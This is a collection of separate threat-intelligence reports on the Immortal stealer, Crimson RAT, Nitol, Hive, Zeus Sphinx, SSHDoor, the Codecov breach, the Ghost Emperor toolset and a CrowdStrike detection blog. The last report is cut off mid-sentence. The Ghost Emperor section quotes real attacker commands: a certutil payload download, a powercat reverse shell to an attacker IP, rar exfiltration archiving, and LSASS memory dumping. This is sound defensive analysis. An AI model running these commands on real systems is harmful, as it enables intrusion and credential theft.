# Immortal Information Stealer Recently, the Zscaler ThreatLabZ team came across new information-stealer malware called Immortal, which is written in .NET and designed to steal sensitive information from an infected machine. The Immortal stealer is sold on the dark web with different build-based subscriptions. This blog provides an analysis of the data Immortal steals from browsers, the files it steals, and what it does with the stolen data. Immortal starts its infection by creating a directory with a random name in a temp folder. Next, it creates a `password.log` file in `"%Temp%\{Random_DirName}\password.log"`. Immortal writes the malware name, author’s name, and telegram address of the author in the `password.log` file. - **Date:** Current date and time “MM/dd/yyyy HH:mm:ss” - **Windows Username:** Username - **HWID:** MachineGuid - **System:** Operating system name ## Browser Info Stealing Immortal steals data from 24 browsers. It steals stored credentials, cookies, credit card data, and autofill data from the targeted browsers. When the user saves a username and password in the targeted browser, it stores the data in a “Login Data” file in an SQLite database format, and the browser-stored cookie information in the “Cookies” file. It also stores autofill data, credit card data, and other web information in the “Web Data” file. Below are the file paths for those files: - `"%AppData%\Local\{Browser}\User Data\Default\Login Data"` - `"%AppData%\Local\{Browser}\User Data\Default\Web Data"` - `"%AppData%\Local\{Browser}\User Data\Default\Cookies"` ### List of Targeted Browsers - Chrome - Yandex - Orbitum - Opera - Amigo - CentBrowser - Torch - Comodo - Go! - ChromePlus - Uran - BlackHawk - CoolNovo - AcWebBrowser - Epic Browser - Baidu Spark - Rockmelt - Sleipnir - SRWare Iron - Titan Browser - Flock - Vivaldi - Sputnik - Maxthon ## Credential Stealing The malware fetches credentials from the “Login Data” file and stores them in the `password.log` file as per the format below: - **Path:** `"%Temp%\{Random_DirName}\password.log"` - **SiteUrl:** Website URL - **Login:** Username - **Password:** Password - **Program:** Targeted browser ## Cookie Stealing Immortal fetches cookie data from the cookies file and stores it in `{Browsername}_cookies.txt` file. - **Path:** `"%Temp%\{Random_DirName}\Cookies\{Browsername_cookies.txt}"` ## Credit Card Data Immortal fetches credit card data from the “Web Data” file and stores it in the `{Browsername}_CC.txt` file. - **Path:** `"%AppData%\{Random_DirName}\CC\{Browsername_CC.txt}"` ## Autofill Data The autofill feature of a browser allows the user to store commonly entered information in web forms. This information might include username, email, password, address, and credit card information. So, when the user opens a web page, it will automatically fill in the information already saved by the browser. The autofill information is stored in the “Web Data” file. Immortal fetches autofill data from the “Web Data” file and stores it in the `{Autofill}_CC.txt` file. - **Path:** `"%AppData%\{Random_DirName}\Autofill\{Browsername_Autofill.txt}"` ## File Stealing Immortal steals files from many different applications. The details are below. ### Minecraft Launchers The malware steals user data files and sessions from Minecraft launcher applications. The malware copies those applications' files into `"%Temp%\{Random_DirName}\Applications\{AppName}\"`. The following is a list of the applications: - MinecraftOnly - McSkill - LavaCraft - MinecraftLauncher - VimeWorld - RedServer ### Steam The malware steals files for the Steam application. The files stolen by Immortal are as follows: - SSFN (2 files) - VDF files from the config folder - Config.vdf - loginusers.vdf ### Telegram and Discord Immortal also steals session-related files from Telegram and Discord. Immortal copies those files into `"%Temp%\{Random_Name}\Applications\{AppName}\"`. - **File Path:** - `%AppData%\Telegram Desktop\tdata\D877F783D5D3EF8C1\` - `%AppData%\Telegram Desktop\tdata\D877F783D5D3EF8C1\map0` - `%AppData%\Telegram Desktop\tdata\D877F783D5D3EF8C1\map1` - `%AppData%\discord\Local Storage\https_discordapp.com_0.localstorage` ### FileZilla Immortal steals files that contain FileZilla credentials. The malware copies the below files into `"%Temp%\{Random_DirName}\FileZilla\"`. - `%AppData%\Filezilla\recentservers.xml` - `%AppData%\Filezilla\sitemanager.xml` ### Bitcoin-Qt Wallet Immortal steals `wallet.dat` files from Bitcoin-Qt, a free and open-source Bitcoin wallet software. The malware copies the `wallet.dat` file in `"%Temp%\{Random_DirName}\"`. ### Desktop Files Immortal also goes through every file in the desktop folder on the victim’s system. It steals extension files (listed below) and copies them into `"%Temp%\{Random_DirName}\Files\"`. - Txt - Log - Doc - Docx - sql ### Screenshot & Webcam Immortal takes a screenshot of the desktop of the infected system and saves it in `"%AppData%\{Random_DirName}\desktop.jpg"`. It also captures a webcam snapshot and saves it in `"%AppData%\{Random_DirName}\CamPicture.jpg"`. ## Network Communication The malware stores all the stolen data in the directory `"%Temp%\{Random_DirName}\"`. After that, it compresses all the files in a ZIP archive and saves the compressed file in `"%Temp%\{Random_filename}.zip"`. Further, it sends `{Random_filename}.zip` to its command-and-control server. It also deletes the `"%Temp%\{Random_DirName}\"` before sending the ZIP file. - **User:** User name - **Hwid:** MachineGuid At the time of analysis, the command & control panel for this stealer was live. ## IOCs - **Md5:** 1719ff4ff267ef598a1dcee1d5b68667 - **Downloading URL:** www.appleidservice[.]jp/stealer/files/svhost.exe - **Network URL:** www.appleidservice[.]jp/stealer/files/upload.php
# Targeted Attack on Indian Ministry of External Affairs using Crimson RAT ## Introduction Volon’s Research team observed a spear phishing attack on officials of the Indian Ministry of External Affairs in early August. Crimson RAT was used as the attack vector in this instance; the same TTPs were observed by an APT group since 2016. The email lures the officials by asking them to download the MS Excel sheet named “amended training schedule of IFS officers.” The download link provided in the email is shown as “hxxps://www.mea.gov.in/ifs-traning.schedule,” but it actually points to the malicious XLS document from URL: hxxp://info-sharing.net/?a=1533541533. The document contains malicious macro code which drops the first payload, the dropped payload is the Crimson RAT downloader. This payload further downloads a fully functional Crimson RAT from the following IP: 151.106.19[.]207:8246. A document with similar TTP was also identified in early August with the name “MoFA-MoD AFghanistan.xls” uploaded on 3rd August 2018. The XLS file contains malicious macro code, which upon execution downloads a payload from URL: hxxp://afgcloud7.com/upld/updt.dll. In 2016, Proofpoint published a report on “Operation Transparent Tribe.” The report had details of various attacks against Indian Embassies in Saudi Arabia and Kazakhstan using Crimson RAT. In one of the campaigns, they found an XLS file fetching a payload from the same URL as we found in the second campaign URL: hxxp://afgcloud7.com/upld/updt.dll. These details might indicate that the APT group behind Operation Transparent Tribe is active and targeting Indian officials again. ## Spear Phishing Email The lure of the campaign states the President’s schedule for the various meetings. The first payload downloads a fully functional Crimson RAT and drops it to the following path: “C:\\ProgramData\\Hurmz\\bahgrtmrs.exe.” The payload has the capability to kill any process running in the system by using the following code: The following code is used to parse the commands which the payload receives from the C&C. Following is the list of some of the commands that the payload (Crimson RAT) supports: 1. proc1 – List all the running processes. 2. getavs – List of antiviruses running on the system. 3. filz – Send file info to C&C. 4. dowf – Download file from C&C. 5. cownr – Update the binary. 6. dirs – Send disk drives list. 7. afile – Send file to C&C. Apart from the above commands, the RAT has more functionalities like keylogging, browser credential theft, and webcam access. ## Conclusion Based on the above campaigns, its TTPs, payload used, and past reporting, there is a high probability that the APT group behind “Operation Transparent Tribe” might be active and is targeting Indian organizations again. ## Indicators of Compromise - 58d52690179c2467fce76cec126ec5bb - 915f32d66955de954bd89e3110d6a03e - 0f0f6f48c3ee5f8e7cd3697c40002bc7 - 6b4635023eb1372df9b7618a5dae6128 - 151.106.19.207:8246 - 151.106.19.207:3286 - 151.106.19.207:12621 - hxxp://info-sharing.net/?a=1533541533
# Nitol Botnet The Nitol botnet mostly involved in spreading malware and distributed denial-of-service attacks. ## History The Nitol Botnet was first discovered around December 2012, with analysis indicating that the botnet is mostly prevalent in China, where an estimated 85% of the infections are detected. In China, the botnet was found to be present on systems that came brand-new from the factory, indicating the trojan was installed somewhere during the assembly and manufacturing process. According to Microsoft, the systems at risk also contained a counterfeit installation of Microsoft Windows. On 10 September 2012, Microsoft took action against the Nitol Botnet by obtaining a court order and subsequently sinkholing the 3322.org domain. The 3322.org domain is a Dynamic DNS used by the botnet creators as a command and control infrastructure for controlling their botnet. Microsoft later settled with 3322.org operator Pen Yong, which allowed the latter to continue operating the domain on the condition that any subdomains linked to malware remain sinkholed. ## See also - Internet crime - Internet security ## References 1. Leyden, John (13 September 2012). "Microsoft seizes Chinese dot-org to kill Nitol bot army". The Register. Retrieved 27 December 2012. 2. Leyden, John (4 October 2012). "Chinese Nitol botnet host back up after Microsoft settles lawsuit". The Register. Retrieved 27 December 2012.
# Master Key for Hive Ransomware Retrieved Using a Flaw in its Encryption Algorithm Researchers have detailed what they call the "first successful attempt" at decrypting data infected with Hive ransomware without relying on the private key used to lock access to the content. "We were able to recover the master key for generating the file encryption key without the attacker's private key, by using a cryptographic vulnerability identified through analysis," a group of academics from South Korea's Kookmin University said in a new paper dissecting its encryption process. Hive, like other cybercriminal groups, operates a ransomware-as-a-service that uses different mechanisms to compromise business networks, exfiltrate data, and encrypt data on the networks, and attempts to collect a ransom in exchange for access to the decryption software. It was first observed in June 2021, when it struck a company called Altus Group. Hive leverages a variety of initial compromise methods, including vulnerable RDP servers, compromised VPN credentials, as well as phishing emails with malicious attachments. The group also practices the increasingly lucrative scheme of double extortion, wherein the actors go beyond just encryption by also exfiltrating sensitive victim data and threatening to leak the information on their Tor site, "HiveLeaks." As of October 16, 2021, the Hive RaaS program has victimized at least 355 companies, with the group securing the eighth spot among the top 10 ransomware strains by revenue in 2021, according to blockchain analytics company Chainalysis. The malicious activities associated with the group have also prompted the U.S. Federal Bureau of Investigation (FBI) to release a Flash report detailing the attacks' modus operandi, noting how the ransomware terminates processes related to backups, anti-virus, and file copying to facilitate encryption. The cryptographic vulnerability identified by the researchers concerns the mechanism by which the master keys are generated and stored, with the ransomware strain only encrypting select portions of the file as opposed to the entire contents using two keystreams derived from the master key. "For each file encryption process, two keystreams from the master key are needed," the researchers explained. "Two keystreams are created by selecting two random offsets from the master key and extracting 0x100000 bytes (1MiB) and 0x400 bytes (1KiB) from the selected offset, respectively." The encryption keystream, which is created from an XOR operation of the two keystreams, is then XORed with the data in alternate blocks to generate the encrypted file. But this technique also makes it possible to guess the keystreams and restore the master key, in turn enabling the decode of encrypted files sans the attacker's private key. The researchers said that they were able to weaponize the flaw to devise a method to reliably recover more than 95% of the keys employed during encryption. "The master key recovered 92% succeeded in decrypting approximately 72% of the files, the master key restored 96% succeeded in decrypting approximately 82% of the files, and the master key restored 98% succeeded in decrypting approximately 98% of the files," the researchers said.
# Around the World With Zeus Sphinx: From Canada to Australia and Back By Limor Kessem IBM X-Force researchers recently identified new infection campaigns delivering distinct Zeus Sphinx Trojan variants to online banking users in Canada and Australia. This is the first time our researchers have observed Sphinx campaigns with dedicated configurations targeting financial institutions in either of the two countries. We believe they are part of ongoing testing by Sphinx operators. Sphinx has been keeping low levels of activity since August 2016, when it was detected in attacks on Brazilian banks. The malware authors have been making small, incremental upgrades to the code. The recent configurations targeting online banking consumers in Canada and Australia are used sparingly in what looks like low-volume testing, not full-blown infection campaigns. The malware’s operators appear to be looking very carefully to determine which geographies offer the paths of least resistance. ## Zeus Sphinx Targets Banks in Canada and Australia In Canada, Sphinx’s operators included URLs for over 33 financial institutes. They focused their target list on credit unions, likely seeing them as the lower hanging fruit in the Canadian financial sector. The malware’s targets are consumer accounts. The Canada-focused Sphinx operators are most likely familiar with the cybercrime arena. According to our research team, they used the same attack servers that facilitated the Zeus Citadel and Ramnit attacks in early 2016 and the fourth quarter of 2016, respectively. The web injections share familiar code patterns with other banking Trojans, indicating that the attackers likely bought them from an injection-writing service. ### Familiar Tricks In their recent campaigns, Sphinx’s operators have been using two distribution methods to spread the malware to new victims: email messages containing malicious Word documents that launch a visual basic for applications (VBA) loader and malvertising schemes designed to spread the Sundown exploit kit (EK). The use of the Sundown EK provides further evidence that Sphinx’s operators may be linked to other commercial malware operators. Sundown has been evolving since the fourth quarter of 2016, from a relatively small, second-tier kit into one of the most prominent EKs in circulation. It includes older exploits for Internet Explorer, Flash, and Silverlight. It has been previously connected with other banking Trojans such as Kronos and with previous malware campaigns in Canada. In Australia, the configuration targets a mix of 40 major banks, credit unions, and payment providers. That configuration also targets some banks based in the U.S. IBM X-Force research reported past Sphinx campaigns launched against Brazilian banks in 2015 and U.K. banks in 2016. ## Financial Malware: A Global Perspective From a global perspective, Sphinx is counted as part of the overall Zeus family of Trojans, since it is almost entirely based on the leaked Zeus v2.0.8.9 source code. With multiple Zeus variations such as Panda, Sphinx, and Floki Bot active in the wild, Zeus’s codebase maintains the top position as the most active banking Trojan family. Different variants are operated by numerous cybercrime factions worldwide. ## Relevant IoCs IBM X-Force shares Zeus Sphinx indicators of compromise (IoCs) on IBM X-Force Exchange. Just type “Zeus Sphinx” into the search bar to find all related collections on this malware. Your team can anonymously add to Zeus Sphinx collections by sharing additional IoCs on X-Force Exchange. This ultimately helps information security professionals fight cybercrime threats in closer to real time, cutting malware’s lifelines. ### Dropper MD5 - 33DAE99769B84EFCE58C6EBD0B5C8626 ### Sample MD5 Sample MD5 hashes are: - C5ADC8EC369941CDF3DFC6B4E8BC799C - 7B83DFCC671C5210F5A8A1D6552BADE4 - 57B083B80CE77D6F1AE37F59BD28B4B2 ## Mitigating Zeus Sphinx Attacks Banks wishing to protect their customers from evolving threats and cybercrime modus operandi are invited to learn more about IBM Trusteer Advanced Fraud Protection. Individuals can reference our tips page for ways to protect themselves from malware such as Zeus Sphinx and other banking Trojans. Limor Kessem Executive Security Advisor, IBM Limor Kessem is an Executive Security Advisor at IBM Security. She is a widely sought-after security expert, speaker, and author and a strong advocate for women in cybersecurity.
# Linux SSHDoor - Sample Just a few accumulated samples here found and shared by others. This one is for Linux SSHDoor malware, which can steal your SSH passwords. ESET covered that in detail in Linux/SSHDoor.A, a backdoored SSH daemon that steals passwords. The related Linux.Chapro.A sample was posted earlier this year as well. ## Automatic Scans SHA256: ebfd9354ed83635ed38bd117b375903f9984a18780ef86dbf7a642fc6584271c SHA1: cb7a464aa8d58f26f6561c32ef4a1464c583a7ca MD5: 90dc9de5f93b8cc2d70a1be37acea23a File size: 469.9 KB (481200 bytes) File name: 90DC9DE5F93B8CC2D70A1BE37ACEA23A File type: ELF Detection ratio: 22 / 46 Analysis date: 2013-02-17 02:11:56 UTC **Antivirus Detections:** - Avast: ELF:SSHDoor-A [Trj] 20130217 - AVG: BackDoor.Generic_c.FDN 20130216 - ClamAV: UNIX.Trojan.SSHDoor 20130217 - Comodo: UnclassifiedMalware 20130217 - DrWeb: Linux.BackDoor.Ssh 20130215 - eSafe: Win32.Trojan 20130211 - ESET-NOD32: Linux/SSHDoor.A 20130216 - F-Secure: Backdoor:Linux/SSHDoor.A 20130217 - Fortinet: Linux/SSh.M!tr.bdr 20130217 - GData: ELF:SSHDoor-A 20130217 - Ikarus: Backdoor.Linux.SSh 20130216 - Jiangmin: Backdoor/Linux.gu 20130216 - Kaspersky: Backdoor.Linux.SSh.m 20130216 - Microsoft: Backdoor:Linux/SSHDoor.A 20130217 - Norman: SSHDoor.A 20130215 - PCTools: Malware.Linux-SSHDoor 20130217 - Symantec: Linux.SSHDoor 20130216 - TrendMicro: ELF_SSHDOOR.A 20130217 - TrendMicro-HouseCall: ELF_SSHDOOR.A 20130217
# Codecov Hackers Breached Hundreds of Restricted Customer Sites Joseph Menn, Raphael Satter SAN FRANCISCO, April 19 (Reuters) - Hackers who tampered with a software development tool from a company called Codecov used that program to gain restricted access to hundreds of networks belonging to the San Francisco firm's customers, investigators told Reuters. Codecov makes software auditing tools that allow developers to see how thoroughly their own code is being tested, a process that can give the tool access to stored credentials for various internal software accounts. The attackers used automation to rapidly copy those credentials and raid additional resources, the investigators said, expanding the breach beyond the initial disclosure by Codecov on Thursday. The hackers put extra effort into using Codecov to get inside other makers of software development programs, as well as companies that themselves provide many customers with technology services, including IBM, one of the investigators said on condition of anonymity. The person said both methods would allow the hackers to potentially gain credentials for thousands of other restricted systems. IBM and other companies said that their code had not been altered, but did not address whether access credentials to their systems had been taken. "We are investigating the reported Codecov incident and have thus far found no modifications of code involving clients or IBM," an IBM spokeswoman said. The FBI's San Francisco office is investigating the compromises, and dozens of likely victims were notified on Monday. Private security companies were already beginning to respond to assist multiple clients, employees said. Codecov did not respond to Reuters' request for comment on Monday. Security experts involved in the case said the scale of the attack and the skills needed compared to last year's SolarWinds attack. The compromise of that company's widely used network management program led hackers inside nine U.S. government agencies and about 100 private companies. It is unclear who is behind the latest breach or if they are working for a national government, as was the case with SolarWinds. Others among Codecov's 19,000 customers, including big tech services provider Hewlett Packard Enterprise (HPE), said they were still trying to determine if they or their customers had been hurt. "HPE has a dedicated team of professionals investigating this matter, and customers should rest assured we will keep them informed of any impacts and necessary remedies as soon as we know more," said HPE spokesman Adam Bauer. Even Codecov users who had seen no evidence of hacking were taking the breach seriously, a corporate cybersecurity official told Reuters. He said his company was busy resetting its credentials and that his counterparts elsewhere were doing the same, as Codecov recommended. Codecov earlier said hackers began tampering with its software on Jan. 31. It was only detected earlier this month when a customer raised concerns. Codecov's website says its customers include consumer goods conglomerate Procter & Gamble, web hosting firm GoDaddy, The Washington Post, and Australian software firm Atlassian Corporation. Atlassian said it had not yet seen any impact nor signs of a compromise. The Department of Homeland Security's cybersecurity arm and the FBI declined to comment.
# Ghost Emperor’s Infection Chain and Post-Exploitation Toolset: Technical Details This document provides a thorough technical analysis of the various stages in Ghost Emperor’s infection chain, as outlined in the blog post. Additionally, it includes a description of the post-exploitation tools leveraged by the actor, demonstrating how they were used with actual command lines issued by the operators during the attacks. ## Stage 1: PowerShell Dropper The installation of the rootkit and the malicious service is started by a BAT file. The BAT file is usually created under the `C:\Windows\debug` or `C:\Windows\debug\wia` directory, along with a PowerShell script. The script is an installer encrypted using AES, and the BAT file runs it through the following command lines: ```bash PowerShell -ex Bypass C:\windows\debug\chrome.ps1 popmart123 >> C:\windows\debug\di.txt ipconfig >> C:\windows\debug\di.txt ``` Error messages from the PowerShell script along with the victim’s network information are logged in a text file under the same directory. The BAT file also provides a decryption key as an argument for the PowerShell script, allowing the attackers to hinder analysis because without the decryption key, it is not possible to view the later stages of the infection. We managed to identify a total of eight keys used by the attackers: - systeminfo - systeminfo123 - wudi520 - 1qaz2wsx - 88d6804e - Oinoe1z - popmart123 - qpalzmLLL The decrypted script contains three encoded buffers. The first one is decoded and written to a DLL file, and a service is created to run it. The service is put in a group called ‘MsGroup’ or ‘AuthSvcGroup’. We identified three such DLL names, with a matching service name for each one: | Service Name | DLL Path | |--------------|----------| | MsMp4Hw | C:\Windows\System32\msmp4dec.dll | | Msdecode | C:\ProgramData\Microsoft\Network\Connections\msdecode.dll | | AuthSvc | C:\Windows\System32\AuthSvc.dll | The remaining two buffers in the script are AES encrypted. They are decoded by the PowerShell script and written to two registry keys that are later decrypted and loaded by the DLL: ### Encoded Buffers in the Decrypted PowerShell Installer Script We found four registry key names that were created by the different PowerShell installers and contained encrypted buffers: - HKLM\Software\Microsoft\hiaudio - HKLM\Software\Microsoft\midihelp - HKLM\Software\Microsoft\data - HKLM\Software\Microsoft\update In some cases, we also observed an uninstaller PowerShell script called `uninstall.ps1` that is capable of self-killing and deleting all the artifacts previously created by the installer script. The uninstaller also requires a decryption key to run. ## Stage 2: Service Loader We identified two versions of the DLL service: one written in .NET and another in C++. The latter appeared both in an obfuscated and non-obfuscated form. ### .NET Version The .NET variant is the most recent one we discovered, as it appears to have emerged only in March 2021. The internal name of this variant is `SvchostSharp.dll`, and we believe the compilation timestamp that suggests it was created in 2017 is fake. The purpose of this service is to decrypt the contents of the registry keys created by the previous stage and load the code stored in them. The decryption key, however, is based on the GUID of the infected system. This means that the infection chain was tailored for this specific system, and it will not be possible to run the malware or retrieve the next stages in a different environment without knowing the decryption key beforehand. ### C++ Version The C++ version has a similar purpose as the .NET variant – decrypt AES 256 encrypted data from a formerly written registry key and in turn execute it as position-independent code. This is done to stage the next component in the infection chain that serves as the malware’s main user mode component. In contrast to the .NET version, the C++ variant does not mandate that the encryption key used to obtain the next stage is based on the system’s GUID. Instead, it looks for an internal configuration section that starts with the keyword ‘Microsoft’ and parses it to locate a hardcoded key. It is evident in the code that only if this hardcoded key is not provided, the malware turns to use the target’s computer name as the key. ## Stage 3: In-Memory Implant The service loader aids the execution of a user mode payload in the memory of an `svchost.exe` process. This serves several purposes. Its main objective is to facilitate a communication channel with a C2 server and act as a client capable of retrieving and staging a payload for further execution. Written in C++, the client can be formed as an instance of one of multiple classes, each presenting a different feature or set of traits that constitute the nature of the communication channel. For example, the client is capable of operating over either HTTP or TLS protocols, supporting various authentication mechanisms like basic access authentication or Microsoft’s Negotiate scheme. The key capability of the client, though, is to mask traffic based on logic constituted by a malleable C2 profile embedded within its configuration. Such profiles are a set of statements written in a custom language that is originally intended for consumption by servers and clients of the Cobalt Strike framework. Their purpose is to shape the exchanged requests and responses between the Cobalt Strike Beacon client and its server so that they appear as benign traffic and blend with the bulk of packets in the network, or otherwise appear as specific malware, in the case of a red team engagement or pen-testing scenario. In the case of the user mode clients described here, a subset of the Cobalt Strike profile syntax that allows the creation of a specially crafted set of HTTP packets is supported. This makes it possible to parse a profile that resides within the `HKLM\Software\Microsoft\midihelp` registry key, formerly written there by the initial PowerShell dropper, using it in turn to mask the packets issued to and from the C2 as Amazon browsing traffic. This profile is publicly available on GitHub, and the malware supports the following keywords and statements that allow its interpretation and processing: - `set uri`, `set useragent`: specifies the URI and User-Agent fields used as part of an HTTP transaction between the client and server. - `http-get`, `http-post`: types of HTTP transactions that can be customized. - `client`, `server`: keywords that specify which side of the transaction to profile. - `base64`, `prepend`, `append`: directive keywords that instruct how to form a data field passed in a transaction. - `metadata`, `query`, `cookie`: strings that can be shaped with the above directives. - `parameter`, `header`: for each transaction, these keywords specify where to store their arguments – URI parameters or HTTP headers. As is evident from the C2 profile syntax keywords specified above, the malware may process server mode configuration, thus possibly operating as one under a given configuration. This can be reinforced with additional communication logic found in the code that suggests the operators can configure the malware to run as a server. Another interesting attribute of the communication is that data passed in the body of HTTP POST requests is embedded within one of three fake file formats, RIFF, JPEG, or PNG, causing the packets to appear as images or audio files sent to the server. The format is chosen at random when building the packet, and its body is later appended to it. ## Stage 4: Remote Control Payload Unfortunately, we were unable to obtain a full infection chain that would allow us to observe exactly how the payload is obtained by the former stage and directly invoked in memory. However, the logs from our telemetry have shown that in multiple cases additional code was loaded into the memory address space of the `svchost.exe` process running the client code sometime after the initial infection. It was evident that the secondary in-memory loaded code was related to the client component, as both shared multiple proprietary C++ classes and the exact same obfuscation techniques. Additionally, in several cases, we also managed to find the same secondary component in the form of a file on disk. This file is a DLL with some unusual traits, namely, its section table is stripped of names and it exports two functions: one has only an ordinal #1 and the other carries the atypical export name ‘__acrt_iob_func’. Moreover, the same file appeared using a similar naming convention across three targets. ### Payload Injection and Console Control A few of the classes we observed serve the primary purpose of injecting a payload into other processes on the machine. The target process can be an existing one, in which case it is `winlogon.exe`, or a newly created process in a suspended state. The injection method relies on creating a shared memory buffer between the source and target processes. The execution of a function within the remotely written buffer depends on the type of injected process. For `winlogon.exe`, the injected payload will be initiated using the `CreateRemoteThread` API, and for a newly created process, the entry point of its executable image will be patched to conduct a jump to the payload. Each injected code is passed along with a pipe name that is then used to establish a duplex IPC communication channel to the injecting component. The injected payload is a position-independent code that serves a couple of purposes, the first of which is to create a console in the remote process and facilitate a channel to interact with it via the previously created named pipe. ## Execution of Arbitrary .NET Assemblies and PowerShell Commands Another capability exposed by a class in the payload DLL is the loading and execution of .NET assemblies during runtime. The payload DLL runs in the context of `svchost.exe`, which is an unmanaged process. In order to support the load of a .NET binary, the code ought to load the .NET CLR runtime, initialize and start it. Then it is possible to use the AppDomain interface provided by it in order to load an assembly, resolve its entry point, and invoke it. When using the class that provides this capability, the user can either pass a struct containing a custom assembly as an argument or load an embedded assembly that serves to execute PowerShell commands. The latter is decoded during runtime and uses the .NET Pipeline class that is capable of executing enqueued PowerShell scripts. ## Filesystem Control Finally, the payload DLL contains a class that provides the attackers with capability to retrieve information and conduct actions on the target’s file system. The following is a summary of those codes and their functionality: - 3: Provides a listing of all available drives in the system, their size, and free space. - 4: Retrieves file attributes as provided by the `GetFileAttributesW` API function for a given file. - 5: Searches for a file with a given name within a specified directory. - 6, 16: Moves a file or directory with its contents from a given source to a destination path. - 7: Looks for a file or directory recursively from a given path and deletes it if found. - 8: Creates a new directory with a given path. - 9: Provides file size and timestamps retrieved with the `GetFileTime` API for a given file’s path. - 10: Searches for a file recursively from a given path and provides its creation time, last access time, and last write time. - 11: Writes data to a given offset within a file. - 15: Copies a file or directory from one path to another. ## Post-Exploitation Toolset & Command Details In this section, we describe in detail all the tools used by the attackers. The leveraged tools were used primarily to steal information from the infected system or spread further in the network. Most of them are legitimate or open-source tools, while some are custom made or not so well known. Below are some of the main tools we identified: - **NBTscan**: A command line tool to scan a network for NetBIOS information, allowing the attackers to view logged-in users or IP addresses of other machines in the network. The NBTscan executable often appeared under the names `nbt.exe` or `nbt8.exe`. - **PsExec**: A command line tool that is part of the Sysinternals suite, allowing the attackers to execute processes on remote systems. - **PsList**: A command line tool that displays running processes, and is part of the Sysinternals suite. - **ProcDump**: A command line tool that is part of the Sysinternals suite, used to dump process memory. The attackers used this tool to dump the memory of the `LSASS.exe` process and steal passwords. - **WinRAR**: The attackers exfiltrated sensitive files from the infected system, such as JPG images or Word documents, and used the `RAR.exe` tool to compress them before uploading the data to the C2 server. ```bash rar.exe a -r -v200m -ta20201101000000 -n*.doc -n*.docx -n*.xlsx -n*.pdf -n*.txt -n*.jpg -n*.zip "C:\Windows\debug\log.rar" ``` Similarly, this utility was used to archive and exfiltrate mailbox contents retrieved to a `.pst` file via the PowerShell `New-MailboxExportRequest` cmdlet. ```bash rar.exe a -r -n*.pst "$windir\debug\log.rar" -hpBaigong -y ``` - **Certutil, BITSAdmin**: Instead of relying on more common methods, the Certutil and BITSAdmin tools are used to download additional malicious scripts from the C2 servers to evade detection. ```bash certutil.exe -urlcache -split -f hxxp://27.102.113[.]240/debug.txt C:\Windows\pla\debug.bat ``` An interesting thing we noticed is that in one case the BITSAdmin tool downloaded an archive containing a PowerShell installer script from a legitimate website. ```bash bitsadmin /transfer myDownloadJob /download /priority normal "hxxp://[redacted]/1.zip" "C:\Windows\debug\wia\1.zip" expand 1.zip sss.ps1 ``` - **Cscript**: The `cscript.exe` utility executed Visual Basic scripts dropped by the attackers such as `ListDomain.vbs`, a VB script that collects information about the domain or the workgroup of the infected machine. - **Schtasks**: Instead of running BAT files directly, the attackers scheduled a task (often called ‘test’ or ‘test3’), ran it immediately with `schtasks.exe`, and then deleted it. ```bash schtasks /create /tn "test3" /tr C:\Windows\debug\wia\h.bat /sc once /st 23:32:00 /ru "system" schtasks /run /tn "test3" schtasks /delete /tn "test3" /f ``` - **Powercat**: Powercat is an open-source tool written in PowerShell, and is meant to be an equivalent of the known networking utility NetCat. Ghost Emperor’s operators connected to the C2 servers using this tool. ```bash powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 27.102.113[.]57 -p 443 -e cmd ``` - **Ladon**: Ladon is an open-source tool that assists in lateral movement across a network, as it scans for open ports and detects devices that are exposed to certain vulnerabilities. - **Mimikatz**: Mimikatz is an open-source custom tool based on the well-known Mimikatz application, with the aim of avoiding detection by antivirus solutions. - **Get-PassHashes.ps1**: Get-PassHashes is a PowerShell script that is part of the open-source Nishang offensive security framework, and is intended to dump password hashes. - **GetPwd**: A custom tool to dump passwords from memory that is based on the GetPwd open-source tool from Pudn.com. - **Token.exe**: A custom tool that accepts a username and a filename as an argument, and runs the file with system privileges.
# Exploit Research Strengthens Customer Protection **Joseph Goodwin - Aspen Lindblom** February 22, 2022 CrowdStrike continuously observes and researches exploit behavior to strengthen protection for customers. Code execution techniques constantly target Windows, Linux, and macOS operating systems. Successful remote/arbitrary code execution can enable a foothold for attackers to continue compromise. Understanding and detecting post-exploit activity is imperative for keeping environments safe. As technology continues to evolve rapidly, so do the techniques used by adversaries. It is important to appreciate how attackers may leverage existing and commonly used applications within an environment to attempt to seize control and achieve their objectives. These post-exploitation tactics are something that the CrowdStrike Falcon® sensor homes in on and detects, generating alerts when it observes a process acting suspiciously, to ensure our customers are alerted and kept up-to-date with precisely what is happening in their environments. In most cases, an attacker will attempt to gain some form of code execution — either arbitrary code execution (ACE) or remote code execution (RCE) — to further their reach into an environment and achieve their objectives. If an adversary obtains code execution in a targeted environment, they have succeeded in gaining a foothold to continue their attack. How they choose to continue is determined by their end objective. Common next steps may include reconnaissance, privilege escalation, information stealing, or dropping and executing further payloads. The impact that this may cause can only truly be measured by the victim after the damage has been done, but it is never a positive situation for any company. CrowdStrike takes a layered approach to security to detect and prevent post-exploit activity, such as attempted malicious code execution throughout these multiple layers. It is important to understand that the concepts of ACE and RCE are not bound to a specific operating system (although particular instances will be). This is why we research and simulate vulnerabilities — to provide customers with the best available defense against exploitation of vulnerabilities delivered through these types of attacks. To help illustrate the Falcon platform’s diversity in its ability to detect these types of unwanted code-execution vulnerability attacks, this blog discusses examples of both RCE and ACE vulnerabilities in Windows, Linux, and Mac. We take a deep look into how the Falcon sensor identifies these threats to keep your environment safe. ## Windows: Microsoft MSHTML Remote Code Execution Vulnerability In Windows, there are RCE vulnerabilities that affect the MSHTML browser engine. Attackers can create malicious Microsoft Office documents exploiting these vulnerabilities and then trick users into opening them. Attackers place a special object within a document file. When the victim opens the tainted document, an attacker-controlled external URL is contacted, and its contents are downloaded and subsequently executed by the MSHTML engine. At the time of its disclosure, this vulnerability was reported to have been observed being exploited in the wild. Microsoft has stated that MS Office opens documents in Protected View or Application Guard for Office, providing some form of prevention against the exploitation of the vulnerability. However, if an attacker is able to craft a document which the user trusts and enables editing, the vulnerability may be exploited. Customers taking advantage of our Spotlight service are able to input CVEs (such as this one) and get results returned on endpoints that may be vulnerable to the related types of attack. Also provided is a wealth of information in relation to the CVE and required steps for remediation. Additionally, after in-depth testing to replicate how these vulnerabilities are triggered, common patterns emerge regarding the process trees generated from exploiting them. This included activities like productivity applications writing binaries with unique, targetable values such as file name, file type, or behavior. Discovering this ensured that the relevant detection research teams could target several different levels of the process trees, which, when all seen together, indicated this RCE attempt in a myriad of different scenarios. Even after the initial work had been conducted (and the associated detections released), further analysis uncovered additional areas throughout the kill chain that yielded high true positive 